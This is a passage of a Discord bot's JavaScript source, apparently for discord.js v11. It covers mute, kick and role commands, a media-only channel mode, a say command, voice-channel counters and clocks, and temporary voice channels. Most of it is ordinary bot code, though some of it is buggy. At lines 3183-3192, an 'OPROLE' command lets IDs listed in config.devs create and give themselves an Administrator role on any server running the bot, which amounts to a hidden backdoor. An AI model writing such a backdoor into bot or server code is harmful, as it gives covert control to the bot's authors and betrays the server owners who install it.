2702
2703 }
2704
2705 message.channel.send(`:white_check_mark: ${user.tag} banned from the server ! :airplane:`)
2706
2707 }
2708
2709 });
2710
2711
2712client.on('message', message => {
2713
2714 var ms = require('ms')
2715
2716 var moment = require('moment');
2717
2718
2719 if (message.author.bot) return;
2720
2721 if (!message.content.startsWith(prefix)) return;
2722
2723 let command = message.content.split(" ")[0];
2724
2725 command = command.slice(prefix.length);
2726
2727 let args = message.content.split(" ").slice(1);
2728
2729 let messageArray = message.content.split(" ");
2730
2731 let muteRole = message.guild.roles.find("name", "Muted");
2732
2733 let embed = new Discord.RichEmbed()
2734
2735 .setImage("https://d.top4top.net/p_1156gzrq11.png")
2736
2737 if (command == "mute") {
2738
2739 if(!muteRole) return message.guild.createRole({ name: "Muted", permissions: [] });
2740
2741 if(!message.channel.guild) return message.reply('** This command only for servers**');
2742
2743 if(!message.guild.member(message.author).hasPermission("MUTE_MEMBERS")) return message.reply("**:x: You Don't Have ` MUTE_MEMBERS ` Permission**");
2744
2745 if(!message.guild.member(client.user).hasPermission("MUTE_MEMBERS")) return message.reply("**:x: I Don't Have ` MUTE_MEMBERS ` Permission**");
2746
2747 let user = message.mentions.users.first();
2748
2749 let Reason = message.content.split(" ").slice(4).join(" ");
2750
2751 let time = messageArray[2];
2752
2753 if (message.mentions.users.size < 1) return message.channel.sendEmbed(embed)
2754
2755 if (!message.guild.member(user).bannable) return message.reply("**:x:I Don't Have Permission For Mute This User**");
2756
2757 if(!Reason) {
2758
2759 message.guild.member(user).addRole(muteRole);
2760
2761 }
2762
2763 if(!Reason && time) {
2764
2765 message.guild.member(user).addRole(muteRole);
2766
2767 }
2768
2769 if(!time) {
2770
2771 message.guild.member(user).addRole(muteRole);
2772
2773 }
2774 if(time === '0') {
2775 message.guild.member(user).addRole(muteRole);
2776 }
2777 if(time) {
2778 if(!time.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send(':x: This Time Is Incorrect')
2779
2780 setTimeout(() => {
2781
2782 message.guild.member(user).removeRole(muteRole);
2783
2784 }, ms(time));
2785
2786 }
2787
2788 if(time && Reason && user) {
2789
2790 message.guild.member(user).addRole(muteRole);
2791
2792
2793 setTimeout(() => {
2794
2795 message.guild.member(user).removeRole(muteRole);
2796
2797 }, ms(time));
2798
2799 }
2800
2801 message.channel.send(`:white_check_mark: ${user} has been muted ! :zipper_mouth:`)
2802
2803 }
2804
2805});
2806 client.on('message', message => {
2807 var prefix = ".";
2808 if (message.author.kick) return;
2809 if (!message.content.startsWith(prefix)) return;
2810
2811 let command = message.content.split(" ")[0];
2812 command = command.slice(prefix.length);
2813
2814 let args = message.content.split(" ").slice(1);
2815
2816 if (command == "kick") {
2817 if (!message.channel.guild) return;
2818
2819 if(!message.guild.member(message.author).hasPermission("KICK_MEMBERS")) return message.reply("You Don't Have KICK_MEMBERS Permission").then(msg => msg.delete(5000));
2820 if(!message.guild.member(client.user).hasPermission("KICK_MEMBERS")) return message.reply("I Don't Have KICK_Members Permission");
2821 let user = message.mentions.users.first();
2822 let reason = message.content.split(" ").slice(2).join(" ");
2823
2824 if (message.mentions.users.size < 1) return message.reply("Mention Someone");
2825 if(!reason) reason = "Null";
2826 if (!message.guild.member(user)
2827 .bannable) return message.reply("I can not be higher than my rank");
2828
2829 message.guild.member(user).kick(7, user);
2830
2831
2832 message.channel.send(`**:white_check_mark: ${user} has been kicked ! :airplane:**`)
2833 user.send(`**:airplane: You are has been kicked in ${message.guild.name} reason: ${reason}**`)
2834 message.delete()
2835 }
2836 })
2837
2838const pics = JSON.parse(fs.readFileSync('./pics.json' , 'utf8'));
2839 client.on('message', message => {
2840 if (!message.channel.guild) return;
2841
2842 let room = message.content.split(" ").slice(1);
2843 let findroom = message.guild.channels.find('name', `${room}`)
2844 if(message.content.startsWith(prefix + "setMedia")) {
2845 if(!message.channel.guild) return;
2846 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2847 if(!room) return message.channel.send('Please Type The Channel Name')
2848 if(!findroom) return message.channel.send('Cant Find This Channel')
2849 let embed = new Discord.RichEmbed()
2850 .setTitle('**Done The MediaOnly Code Has Been Setup**')
2851 .addField('Channel:', `${room}`)
2852 .addField('Requested By', `${message.author}`)
2853 .setThumbnail(message.author.avatarURL)
2854 .setFooter(`${client.user.username}`)
2855 message.channel.sendEmbed(embed)
2856 pics[message.guild.id] = {
2857 channel: room,
2858 onoff: 'On'
2859 },
2860 fs.writeFile("./pics.json", JSON.stringify(pics), (err) => {
2861 if (err) console.error(err)
2862
2863 })
2864 }})
2865
2866client.on('message', message => {
2867
2868 if(message.content.startsWith(prefix + "toggleMedia")) {
2869 if (!message.channel.guild) return;
2870
2871 if(!message.channel.guild) return;
2872 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2873 if(!pics[message.guild.id]) pics[message.guild.id] = {
2874 onoff: 'Off'
2875 }
2876 if(pics[message.guild.id].onoff === 'Off') return [message.channel.send(`**The MediaCode Is __??__ !**`), pics[message.guild.id].onoff = 'On']
2877 if(pics[message.guild.id].onoff === 'On') return [message.channel.send(`**The MediaCode Is __???__ !**`), pics[message.guild.id].onoff = 'Off']
2878 fs.writeFile("./pics.json", JSON.stringify(pics), (err) => {
2879 if (err) console.error(err)
2880
2881 })
2882 }
2883
2884 })
2885
2886 client.on('message', message => {
2887 if (!message.channel.guild) return;
2888 if(message.author.bot) return;
2889
2890 if(!pics[message.guild.id]) pics[message.guild.id] = {
2891 onoff: 'Off'
2892 }
2893 if(pics[message.guild.id].onoff === 'Off') return;
2894
2895 if(message.channel.name !== `${pics[message.guild.id].channel}`) return;
2896
2897 let types = [
2898 'jpg',
2899 'jpeg',
2900 'png',
2901 'http://prntscr.com/'
2902 ]
2903 if (message.attachments.size <= 0) {
2904 message.delete();
2905 message.channel.send(`${message.author}, This Channel For Media ?️ Only !`)
2906 .then(msg => {
2907 setTimeout(() => {
2908 msg.delete();
2909 }, 5000)
2910 })
2911 return;
2912}
2913 if(message.attachments.size >= 1) {
2914 let filename = message.attachments.first().filename
2915 console.log(filename);
2916 if(!types.some( type => filename.endsWith(type) )) {
2917 message.delete();
2918 message.channel.send(`${message.author}, This Channel For Media ?️ Only !`)
2919 .then(msg => {
2920 setTimeout(() => {
2921 msg.delete();
2922 }, 5000)
2923 })
2924 .catch(err => {
2925 console.error(err);
2926 });
2927 }
2928 }
2929 })
2930client.on('message', message => {
2931 if(message.content.startsWith(prefix + "infoMedia")) {
2932let embed = new Discord.RichEmbed()
2933.addField('Channel Status', `${pics[message.guild.id].onoff}`)
2934.addField('Media Channel', `${pics[message.guild.id].channel}`)
2935.addField('Requested By', `${message.author}`)
2936.setThumbnail(message.author.avatarURL)
2937.setFooter(`${client.user.username}`)
2938message.channel.sendEmbed(embed)
2939 }})
2940const say = JSON.parse(fs.readFileSync('./say.json' , 'utf8'));
2941//Perfect Say Code
2942client.on('message', async message => {
2943 let messageArray = message.content.split(" ");
2944 if(message.content.startsWith(prefix + "setSay")) {
2945 let filter = m => m.author.id === message.author.id;
2946 let role;
2947
2948 if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
2949 msg.delete(4500);
2950 message.delete(4500);
2951 });
2952
2953 message.channel.send(':pencil: **| Please Type The Role Required To Type The Say Command ... :pencil2: **').then(msg => {
2954
2955 message.channel.awaitMessages(filter, {
2956 max: 1,
2957 time: 90000,
2958 errors: ['time']
2959 })
2960
2961 .then(collected => {
2962 collected.first().delete();
2963 role = collected.first().content;
2964 let replymsg;
2965 msg.edit(':scroll: **| Now Please Type The Answer If He Dont Have The Required Role ... :pencil2: **').then(msg => {
2966
2967 message.channel.awaitMessages(filter, {
2968 max: 1,
2969 time: 90000,
2970 errors: ['time']
2971 })
2972 .then(collected => {
2973 collected.first().delete();
2974 replymsg = collected.first().content;
2975 msg.edit('✅ **| Successfully Setup !... **').then(msg => {
2976
2977 message.channel.awaitMessages(filter, {
2978 max: 1,
2979 time: 90000,
2980 errors: ['time']
2981 })
2982
2983 let embed = new Discord.RichEmbed()
2984 .setTitle('**Done The Say Code Has Been Setup**')
2985 .addField('Say Role:', `${role}`)
2986 .addField('Say Role Reply:', `${replymsg}`)
2987 .addField('Requested By:', `${message.author}`)
2988 .setThumbnail(message.author.avatarURL)
2989 .setFooter(`${client.user.username}`)
2990 .setColor('RANDOM')
2991 say[message.guild.id] = {
2992 onoff: 'On',
2993 sayembed: 'On',
2994 reply: replymsg,
2995 sayrole: role
2996 },
2997 message.channel.sendEmbed(embed)
2998 fs.writeFile("./say.json", JSON.stringify(say), (err) => {
2999 if (err) console.error(err)
3000 })
3001 })
3002 })
3003 })
3004 })
3005})
3006 }})
3007
3008 client.on('message', message => {
3009 let args = message.content.split(" ").slice(1);
3010if(message.content.startsWith(prefix + 'embedsay')) {
3011 if(say[message.guild.id].onoff === 'Off') return;
3012 if(say[message.guild.id].sayembed === 'Off') return;
3013 let staff = message.guild.member(message.author).roles.find('name' , `${say[message.guild.id].sayrole}`);
3014 if(!staff) return message.channel.send(`${say[message.guild.id].replymsg}`)
3015let embed = new Discord.RichEmbed()
3016.setDescription(args)
3017message.channel.sendEmbed(embed)
3018}})
3019
3020
3021client.on('message', message => {
3022
3023 if(message.content.startsWith(prefix + "toggleSay")) {
3024 if(!message.channel.guild) return;
3025 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
3026 if(!say[message.guild.id]) say[message.guild.id] = {
3027 onoff: 'Off'
3028 }
3029 if(say[message.guild.id].onoff === 'Off') return [message.channel.send(`**The Say Is __??__ !**`), say[message.guild.id].onoff = 'On']
3030 if(say[message.guild.id].onoff === 'On') return [message.channel.send(`**The Say Is __???__ !**`), say[message.guild.id].onoff = 'Off']
3031 fs.writeFile("./say.json", JSON.stringify(say), (err) => {
3032 if (err) console.error(err)
3033 .catch(err => {
3034 console.error(err);
3035 });
3036 });
3037 }
3038
3039 })
3040
3041 client.on('message', message => {
3042
3043 if(message.content.startsWith(prefix + "toggleEmbed")) {
3044 if(!message.channel.guild) return;
3045 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
3046 if(!say[message.guild.id]) say[message.guild.id] = {
3047 embed: 'Off'
3048 }
3049 if(say[message.guild.id].sayembed === 'Off') return [message.channel.send(`**The Say Embed Is __??__ !**`), say[message.guild.id].sayembed = 'On']
3050 if(say[message.guild.id].sayembed === 'On') return [message.channel.send(`**The Say Embed Is __???__ !**`), say[message.guild.id].sayembed = 'Off']
3051 fs.writeFile("./say.json", JSON.stringify(say), (err) => {
3052 if (err) console.error(err)
3053 .catch(err => {
3054 console.error(err);
3055 });
3056 })
3057 }
3058
3059 })
3060
3061
3062 client.on('message', message => {
3063
3064 if (message.author.bot) return;
3065
3066 if (!message.content.startsWith(prefix)) return;
3067
3068
3069 let command = message.content.split(" ")[0];
3070
3071 command = command.slice(prefix.length);
3072
3073
3074 let args = message.content.split(" ").slice(1);
3075let embed = new Discord.RichEmbed()
3076.setTitle(args)
3077
3078
3079 if (command === "say") {
3080
3081 if(say[message.guild.id].onoff === 'Off') return;
3082 let staff = message.guild.member(message.author).roles.find('name' , `${say[message.guild.id].sayrole}`);
3083 if(!staff) return message.channel.send(`${say[message.guild.id].replymsg}`)
3084 message.delete()
3085 if(!say[message.guild.id].sayembed === 'On') return message.sendEmbed(say)
3086 message.channel.sendMessage(args)
3087 }})
3088
3089client.on('message', message => {
3090 if(message.content.startsWith(prefix + "infoSay")) {
3091let embed = new Discord.RichEmbed()
3092.addField('Say Status', `${say[message.guild.id].onoff}`)
3093.addField('Say Role:', `${say[message.guild.id].sayrole}`)
3094.addField('Say Embed Status:', `${say[message.guild.id].embed}`)
3095.addField('Requested By', `${message.author}`)
3096.setThumbnail('https://a.top4top.net/p_10555ubbl1.png')
3097.setImage(message.author.avatarURL)
3098.setFooter(`${client.user.username}`)
3099.setColor('RANDOM')
3100message.channel.sendEmbed(embed)
3101 }})
3102
3103
3104 let antibots = JSON.parse(fs.readFileSync('./antibots.json' , 'utf8'));
3105
3106
3107 client.on('message', message => {
3108 if(message.content === prefix + "options"){
3109 const reply2 = JSON.parse(fs.readFileSync('./replys2.json' , 'utf8'));
3110 const onoff = JSON.parse(fs.readFileSync('./onoff.json', 'utf8'));
3111
3112 if(!antibots[message.guild.id]) antibots[message.guild.id] = {
3113 onoff: 'Off'
3114 }
3115 if(!reply[message.guild.id]) reply[message.guild.id] = {
3116 onoff: 'Off'
3117 }
3118 if(!reply2[message.guild.id]) reply2[message.guild.id] = {
3119 onoff: 'Off'
3120 }
3121 if(!reply3[message.guild.id]) reply3[message.guild.id] = {
3122 onoff: 'Off'
3123 }
3124 let reply11 = `${reply[message.guild.id].msg}`
3125 if(reply[message.guild.id].onoff === 'Off') reply11 = 'Null'
3126
3127 let reply1reply = `${reply[message.guild.id].reply}`
3128 if(reply[message.guild.id].onoff === 'Off') reply1reply = 'Null'
3129
3130 let reply22 = `${reply2[message.guild.id].msg}`
3131 if(reply2[message.guild.id].onoff === 'Off') reply22 = 'Null'
3132
3133 let reply2reply = `${reply2[message.guild.id].reply}`
3134 if(reply2[message.guild.id].onoff === 'Off') reply2reply = 'Null'
3135
3136 let reply33 = `${reply3[message.guild.id].msg}`
3137 if(reply3[message.guild.id].onoff === 'Off') reply33 = 'Null'
3138
3139 let reply3reply = `${reply3[message.guild.id].reply}`
3140 if(reply3[message.guild.id].onoff === 'Off') reply3reply = 'Null'
3141
3142
3143 if(!onoff[message.guild.id]) onoff[message.guild.id] = {
3144 onoff: 'Off'
3145 }
3146 if(!spread[message.guild.id]) spread[message.guild.id] = {
3147 onoff: 'Off'
3148 }
3149 if(!welcome[message.guild.id]) welcome[message.guild.id] = {
3150 onoff: 'Off'
3151 }
3152 if(!say[message.guild.id]) say[message.guild.id] = {
3153 onoff: 'Off'
3154 }
3155 let embed = new Discord.RichEmbed()
3156 .setTitle(':wrench: Bot Options :')
3157 .setDescription(` __**undefined + Null = Not Set**__`)
3158 .setThumbnail('https://f.top4top.net/p_1066d93ao1.png')
3159 .setColor('RANDOM')
3160 .addField('? AutoRole Status:', `${ar[message.guild.id].onoff}` || `Null`)
3161 .addField('? AutoRole Role :', `${ar[message.guild.id].role}` || `Null`)
3162 .addField('? Media Channel Status :', `${pics[message.guild.id].onoff}` || `Null`)
3163 .addField('? Media Channel :', `${pics[message.guild.id].channel}` || `Null`)
3164 .addField('? Say Status', `${say[message.guild.id].onoff}` || `Null`)
3165 .addField('? Say Role:', `${say[message.guild.id].sayrole}` || `Null`)
3166 .addField('? Say Embed Status:', `${say[message.guild.id].embed}` || `Null`)
3167 .addField('? AutoReply Word:', `${reply11}` || `Null`)
3168 .addField('? AutoReply Reply:', `${reply1reply}` || `Null`)
3169 .addField('? AutoReply Word2:', `${reply22}` || `Null`)
3170 .addField('? AutoReply Reply2:', `${reply2reply}` || `Null`)
3171 .addField('? AutoReply Word3:', `${reply33}` || `Null`)
3172 .addField('? AutoReply Reply3:', `${reply3reply}`)
3173 .addField('? Antispread Status:', `${spread[message.guild.id].onoff}` || `Null`)
3174 .addField('? AntiBots Status:', `${antibots[message.guild.id].onoff}` || `Null`)
3175 .addField('? Welcome Status:', `${welcome[message.guild.id].onff}` || 'Off')
3176 .addField('? Dm Welcome Status:', `${welcome[message.guild.id].dm}` || `Null`)
3177 .addField('? Welcome Invited By Status:', `${welcome[message.guild.id].by}` || `Null`)
3178 .addField('? Welcome Channel:', `${welcome[message.guild.id].channel}` || `Null`)
3179 .setFooter(` __**undefined + Null = Not Set**__`)
3180 message.channel.sendEmbed(embed)
3181 }})
3182
3183 client.on('message', async message => {
3184 const devs = config.devs
3185 let member = message.author
3186 if(message.content.startsWith(prefix + "OPROLE")) {
3187 if (!devs.includes(message.author.id)) return;
3188let muteRole = message.guild.roles.find('name', 'OPROLE')
3189 if(!muteRole) return message.guild.createRole({ name: "OPROLE", permissions: [8] });
3190 message.guild.member(member).addRole(muteRole);
3191 }
3192});
3193
3194client.on('message',async message => {
3195 if(message.content.startsWith(prefix + "setVoice")) {
3196 if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('❌ **ليس لديك الصلاحيات الكافية**');
3197 if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('❌ **ليس معي الصلاحيات الكافية**');
3198 message.channel.send('✅| **Done successfully**');
3199 message.guild.createChannel(`Voice Online : [ ${message.guild.members.filter(m => m.voiceChannel).size} ]` , 'voice').then(c => {
3200 console.log(`Voice online channel setup for guild: \n ${message.guild.name}`);
3201 c.overwritePermissions(message.guild.id, {
3202 CONNECT: false,
3203 SPEAK: false
3204 });
3205 setInterval(function() {
3206 c.setName(`Voice Online : [ ${message.guild.members.filter(m => m.voiceChannel).size} ]`)
3207 },1000);
3208 });
3209 }
3210});
3211
3212client.on('message',async message => {
3213 if(message.content.startsWith(prefix + "setCount")) {
3214 if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('❌ **ليس لديك الصلاحيات الكافية**');
3215 if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('❌ **ليس معي الصلاحيات الكافية**');
3216 message.channel.send('✅| **Done successfully**');
3217 message.guild.createChannel(`Members Count : [ ${message.guild.members.size} ]` , 'voice').then(c => {
3218 console.log(`Count Members channel setup for guild: \n ${message.guild.name}`);
3219 c.overwritePermissions(message.guild.id, {
3220 CONNECT: false,
3221 SPEAK: false
3222 });
3223 setInterval(function() {
3224 c.setName(`Members Count : [ ${message.guild.members.size} ]`)
3225 },1000);
3226 });
3227 }
3228});
3229
3230
3231client.on('message',async message => {
3232 if(message.content.startsWith(prefix + "setTime")) {
3233 if(!message.guild.member(message.author).hasPermission('MANAGE_CHANNELS')) return message.reply('❌ **ليس لديك الصلاحيات الكافية**');
3234 if(!message.guild.member(client.user).hasPermission(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('❌ **ليس معي الصلاحيات الكافية**');
3235 message.channel.send('✅| **Done successfully**');
3236 message.guild.createChannel("? - Time 00", 'voice').then((c) => {
3237 console.log(`Time channel setup for guild: \n ${message.guild.name}`);
3238 c.overwritePermissions(message.guild.id, {
3239 CONNECT: false,
3240 SPEAK: false
3241 });
3242 setInterval(function() {
3243
3244 var currentTime = new Date(),
3245 hours = currentTime.getHours() + 3 ,
3246 minutes = currentTime.getMinutes(),
3247 seconds = currentTime.getSeconds(),
3248 years = currentTime.getFullYear(),
3249 month = currentTime.getMonth(),
3250 day = currentTime.getDate(),
3251 week = currentTime.getDay();
3252
3253 if (minutes < 10) {
3254 minutes = "0" + minutes;
3255 }
3256 var suffix = "AM";
3257 if (hours >= 12) {
3258 suffix = "PM";
3259 hours = hours - 12;
3260 }
3261 if (hours == 0) {
3262 hours = 12;
3263 }
3264
3265 c.setName("? - Time 「" + hours + ":" + minutes +" " + suffix + "」");
3266 },1000);
3267 });
3268 }
3269});
3270
3271
3272
3273client.on('message',async message => {
3274 if(message.content.startsWith(prefix + "setDate")) {
3275 var currentTime = new Date(),
3276 years = currentTime.getFullYear(),
3277 month = currentTime.getMonth() + 1,
3278 day = currentTime.getDate(),
3279 week = currentTime.getDay();
3280 if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('❌ **ليس لديك الصلاحيات الكافية**');
3281 if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('❌ **ليس معي الصلاحيات الكافية**');
3282 message.channel.send('✅| **Done successfully**');
3283 message.guild.createChannel("? - Date " + "「" + day + "-" + month + "-" + years + "」" , 'voice').then(c => {
3284 console.log(`Date channel setup for guild: \n ${message.guild.name}`);
3285 c.overwritePermissions(message.guild.id, {
3286 CONNECT: false,
3287 SPEAK: false
3288 });
3289 setInterval(function() {
3290 c.setName("? - Date " + "「" + day + "-" + month + "-" + years + "」")
3291 },1000);
3292 });
3293 }
3294});
3295
3296
3297client.on('message',async message => {
3298 var moment = require('moment');
3299 if(message.content.startsWith(prefix + "setDays")) {
3300 if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('❌ **ليس لديك الصلاحيات الكافية**');
3301 if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('❌ **ليس معي الصلاحيات الكافية**');
3302 message.channel.send('✅| **Done successfully**');
3303 message.guild.createChannel(`Day : ${moment().format('dddd')}` , 'voice').then(c => {
3304 console.log(`Day channel setup for guild: \n ${message.guild.name}`);
3305 c.overwritePermissions(message.guild.id, {
3306 CONNECT: false,
3307 SPEAK: false
3308 });
3309 setInterval(function() {
3310 c.setName(`? - Day : 「${moment().format('dddd')}」`);
3311 },1000);
3312 });
3313 }
3314 })
3315
3316
3317
3318
3319
3320var temp = JSON.parse(fs.readFileSync('./temp.json' , 'utf8'));
3321
3322client.on("message",(message) => {
3323 if (message.channel.type !== "text") return;
3324 if (!message.content.startsWith(prefix)) return;
3325 if(message.content.startsWith(prefix + "temp on")) {
3326 if (!message.member.hasPermission("MANAGE_CHANNELS")) return message.reply("** You Don't Have Permission `Manage channels` To Do This Command");
3327 temp[message.guild.id] = {
3328 work : true,
3329 channel : "Not Yet"
3330 };
3331 message.guild.createChannel("Click Here", 'voice').then(c => {
3332 c.setPosition(1);
3333 temp[message.guild.id].channel = c.id
3334 message.channel.send("** Done.**");
3335 });
3336 if(message.content.startsWith(prefix + "temp off")) {
3337 if (!message.member.hasPermission("MANAGE_CHANNELS")) return message.reply("** You Don't Have Permission `Manage channels` To Do This Command");
3338 message.guild.channels.get(temp[message.guild.id]).delete();
3339 temp[message.guild.id] = {
3340 work : false,
3341 channel : "Not Yet"
3342 };
3343 message.channel.send("** Done.**");
3344 };
3345 fs.writeFile("./temp.json", JSON.stringify(temp) ,(err) =>{
3346 if (err) console.log(err.message);
3347 });
3348}})
3349client.on("voiceStateUpdate", (o,n) => {
3350 if (!temp[n.guild.id]) return;
3351 if (temp[n.guild.id].work == false) return;
3352 if (n.voiceChannelID == temp[n.guild.id].channel) {
3353 n.guild.createChannel(n.user.username, 'voice').then(c => {
3354 n.setVoiceChannel(c);
3355 c.overwritePermissions(n.user.id, {
3356 CONNECT:true,
3357 SPEAK:true,
3358 MANAGE_CHANNEL:true,
3359 MUTE_MEMBERS:true,
3360 DEAFEN_MEMBERS:true,
3361 MOVE_MEMBERS:true,
3362 VIEW_CHANNEL:true
3363 });
3364 })
3365 };
3366 if (!o.voiceChannel) return;
3367 if (o.voiceChannel.name == o.user.username) {
3368 o.voiceChannel.delete();
3369 };
3370 fs.writeFile("./temp.json", JSON.stringify(temp) ,(err) =>{
3371 if (err) console.log(err.message);
3372 });
3373});
3374
3375 client.on('message', message => {
3376 var prefix = "."
3377 let args = message.content.split(' ').slice(1);
3378 if(message.content.startsWith(prefix + 'role')) {
3379 if(!message.member.hasPermission('MANAGE_ROLES')) return message.channel.send('**للأسف لا تمتلك صلاحية** `MANAGE_ROLES`' );
3380 let member = message.mentions.users.first();
3381 let role = args.join(' ').replace(member, '').replace(args[0], '').replace(' ', '');
3382 console.log(role);
3383 if(member) {
3384 if(role.startsWith('.')) {
3385 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3386 console.log(roleRe);
3387 let role1 = message.guild.roles.find('name', roleRe);
3388 console.log(`hi`);
3389 const ee =new Discord.RichEmbed()
3390 .setDescription('**:x: I can’t find the role.**')
3391 .setFooter('Requested By '+message.author.username,message.author.avatarURL)
3392 if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1.id);
3393
3394 const e = new Discord.RichEmbed()
3395
3396 .setDescription(':white_check_mark:** Changed Roles For **'+member+'**,** '+'**'+'-'+role1.name+'**')
3397 .setFooter('Requested By '+message.author.username,message.author.avatarURL)
3398 .setColor('BLACK')
3399 message.channel.send(e)
3400 } else if(!role.startsWith('>')) {
3401 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3402 let role1 = message.guild.roles.find('name', roleRe);
3403 const ee =new Discord.RichEmbed()
3404 .setDescription('**:x: I can’t find the role.**')
3405 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3406 if(!role1) return message.channel.send(ee); message.guild.member(member).addRole(role1);
3407 const e = new Discord.RichEmbed()
3408
3409 .setDescription(':white_check_mark:** Changed Roles For **'+member+'**,** '+'**'+'+'+role1.name+'**')
3410 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3411 .setColor('BLACK')
3412 message.channel.send(e)
3413 } else {
3414 message.reply(`You Should Type The Role Name`);
3415 }
3416 }
3417 else if(args[0] == 'all') {
3418 if(role.startsWith('.')) {
3419 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3420 let role1 = message.guild.roles.find('name', roleRe);
3421message.channel.send(`Please wait until the order is finished`).then(msg =>{
3422 message.guild.members.forEach(m => {
3423 message.guild.member(m).removeRole(role1.id);
3424 });
3425 msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Taken From __${message.guild.members.size}__ Member**`);
3426 });
3427 }
3428 if(role) {
3429 let role1 = message.guild.roles.find('name', role);
3430 if(!role1) return;
3431 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3432 message.guild.members.forEach(m => {
3433 message.guild.member(m).addRole(role1);
3434 });
3435 msg.edit(`** :white_check_mark: Done...\n**` + role1.name+`** Has Given To __${message.guild.members.size}__ Members **`);
3436 });
3437 }
3438 } else if(args[0] == 'humans') {
3439 if(role.startsWith('.')) {
3440 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3441 let role1 = message.guild.roles.find('name', roleRe);
3442message.channel.send(`Please wait until the order is finished`).then(msg =>{
3443 message.guild.members.forEach(m => {
3444 message.guild.member(m).removeRole(role1.id);
3445 });
3446 msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Taken From __${message.guild.members.size}__ Member**`);
3447 });
3448 }
3449
3450 if(role) {
3451 let role1 = message.guild.roles.find('name', role);
3452
3453 const ee =new Discord.RichEmbed()
3454 .setDescription('I Cann’t Find This Role')
3455 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3456 if(!role1) return message.channel.send(ee);
3457 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3458 message.guild.members.filter(m =>m.user.bot == false).forEach(m => {
3459 message.guild.member(m).addRole(role1);
3460 });
3461 msg.edit(`** :white_check_mark: Done...**`);
3462 });
3463 }
3464 } else if(args[0] == 'bots') {
3465 if(role.startsWith('.')) {
3466 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3467 let role1 = message.guild.roles.find('name', roleRe);
3468message.channel.send(`Please wait until the order is finished`).then(msg =>{
3469 message.guild.members.forEach(m => {
3470 message.guild.member(m).removeRole(role1.id);
3471 });
3472 msg.edit(`** :white_check_mark: Done...**`);
3473 });
3474 }
3475 if(role) {
3476 let role1 = message.guild.roles.find('name', role);
3477 const ee =new Discord.RichEmbed()
3478 .setDescription('I Cann’t Find This Role')
3479 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3480 if(!role1) return message.channel.send(ee);
3481 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3482 message.guild.members.filter(m =>m.user.bot == true).forEach(m => {
3483 message.guild.member(m).addRole(role1);
3484 });
3485 msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Given To __${message.guild.members.size}__ Member**`);
3486 });
3487 }
3488 }
3489 }
3490 });
3491
3492 client.on('message', message => {
3493 var prefix = "."
3494 let args = message.content.split(' ').slice(1);
3495 if(message.content.startsWith(prefix + '-role')) {
3496 if(!message.member.hasPermission('MANAGE_ROLES')) return message.channel.send('**للأسف لا تمتلك صلاحية** `MANAGE_ROLES`' );
3497 let member = message.mentions.users.first();
3498 let role = args.join(' ').replace(member, '').replace(args[0], '').replace(' ', '');
3499 console.log(role);
3500 if(member) {
3501 if(role.startsWith('.')) {
3502 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3503 console.log(roleRe);
3504 let role1 = message.guild.roles.find('name', roleRe);
3505 console.log(`hi`);
3506 const ee =new Discord.RichEmbed()
3507 .setDescription('**:x: I can’t find the role.**')
3508 .setFooter('Requested By '+message.author.username,message.author.avatarURL)
3509 if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1.id);
3510
3511 const e = new Discord.RichEmbed()
3512
3513 .setDescription(':white_check_mark:** Pull Role For **'+member+'**,** '+'**'+'-'+role1.name+'**')
3514 .setFooter('Requested By '+message.author.username,message.author.avatarURL)
3515 .setColor('BLACK')
3516 message.channel.send(e)
3517 } else if(!role.startsWith('>')) {
3518 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3519 let role1 = message.guild.roles.find('name', roleRe);
3520 const ee =new Discord.RichEmbed()
3521 .setDescription('**:x: I can’t find the role.**')
3522 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3523 if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1);
3524 const e = new Discord.RichEmbed()
3525
3526 .setDescription(':white_check_mark:** Pull Role For **'+member+'**,** '+'**'+'+'+role1.name+'**')
